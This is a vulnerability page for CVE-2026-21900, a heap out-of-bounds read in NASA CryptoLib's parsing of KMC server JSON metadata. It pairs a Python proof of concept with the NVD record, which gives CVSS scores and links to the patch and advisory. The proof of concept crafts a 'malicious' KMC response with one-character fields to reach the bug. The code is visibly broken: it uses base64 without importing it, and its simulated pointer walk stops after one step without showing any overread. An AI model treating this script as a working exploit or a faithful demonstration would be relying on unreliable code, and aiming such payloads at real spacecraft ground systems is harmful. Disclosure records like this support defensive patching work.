CVE-2026-21900

import json import struct # CVE-2026-21900 PoC - Simulated KMC Server Response # This PoC demonstrates the malformed JSON metadata that triggers # the out-of-bounds read in CryptoLib's cryptography_encrypt() def generate_malicious_kmc_response(): """ Generate a malicious KMC server response that triggers the heap out-of-bounds read in CryptoLib. The vulnerability occurs when parsing JSON metadata with short strings that cause strtok iteration to read past the allocated buffer boundary. """ # Malformed metadata with short strings # This triggers the vulnerable code path in cryptography_encrypt() malicious_metadata = { "key_id": "A", # Short string - triggers OOB read "session_id": "B", # Short string "algorithm": "C", # Short string "iv": "D", # Single character "auth_tag": "E" } # Craft the KMC response that CryptoLib will parse kmc_response = { "status": "success", "metadata": malicious_metadata, "encrypted_key": base64.b64encode(b'\x00' * 32).decode() } return json.dumps(kmc_response) def demonstrate_vulnerability(): """ Demonstration of the vulnerable strtok pattern: Original vulnerable code pattern: char *ptr = buffer; while ((token = strtok(ptr, delimiter)) != NULL) { process_token(token); ptr = NULL; // For subsequent calls // Vulnerable: when processing short strings, // ptr + strlen(ptr) + 1 can exceed buffer bounds } """ # Simulate the vulnerable iteration pattern metadata_str = 'A\0B\0C\0' # Short null-terminated strings # This demonstrates how short strings lead to OOB read ptr = metadata_str while ptr and ptr[0] != '\0': token_length = len(ptr.split('\0')[0]) # Vulnerable calculation: ptr + strlen(ptr) + 1 next_ptr = ptr + token_length + 1 # In real scenario, next_ptr may point past allocated buffer print(f"Token: {ptr[:token_length]}, Next ptr offset: {token_length + 1}") break # Single iteration for demonstration if __name__ == "__main__": print("CVE-2026-21900 PoC - NASA CryptoLib Heap OOB Read") print("=" * 50) response = generate_malicious_kmc_response() print(f"Malicious KMC Response: {response}") demonstrate_vulnerability()

{"cve": {"id": "CVE-2026-21900", "sourceIdentifier": "[email protected]", "published": "2026-01-10T01:16:18.263", "lastModified": "2026-01-16T16:46:47.517", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures (SDLS-EP) to secure communications between a spacecraft running the core Flight System (cFS) and a ground station. Prior to version 1.4.3, an out-of-bounds heap read vulnerability in cryptography_encrypt() occurs when parsing JSON metadata from KMC server responses. The flawed strtok iteration pattern uses ptr + strlen(ptr) + 1 which reads one byte past allocated buffer boundaries when processing short or malformed metadata strings. This issue has been patched in version 1.4.3."}, {"lang": "es", "value": "CryptoLib proporciona una solución únicamente de software utilizando el Protocolo de Seguridad de Enlace de Datos Espaciales CCSDS - Procedimientos Extendidos (SDLS-EP) para asegurar las comunicaciones entre una nave espacial que ejecuta el Sistema de Vuelo central (cFS) y una estación terrestre. Antes de la versión 1.4.3, una vulnerabilidad de lectura de pila fuera de límites en cryptography_encrypt() ocurre al analizar metadatos JSON de las respuestas del servidor KMC. El patrón de iteración defectuoso de strtok utiliza ptr + strlen(ptr) + 1, que lee un byte más allá de los límites del búfer asignado al procesar cadenas de metadatos cortas o malformadas. Este problema ha sido parcheado en la versión 1.4.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nasa:cryptolib:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.3", "matchCriteriaId": "AE1BE91E-2901-42AF-BC66-762CFA7A2582"}]}]}], "references": [{"url": "https://github.com/nasa/CryptoLib/commit/2372efd3da1ccb226b4297222e25f41ecc84821d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nasa/CryptoLib/releases/tag/v1.4.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/nasa/CryptoLib/security/advisories/GHSA-4g6v-36fv-qcvw", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/nasa/CryptoLib/security/advisories/GHSA-4g6v-36fv-qcvw", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}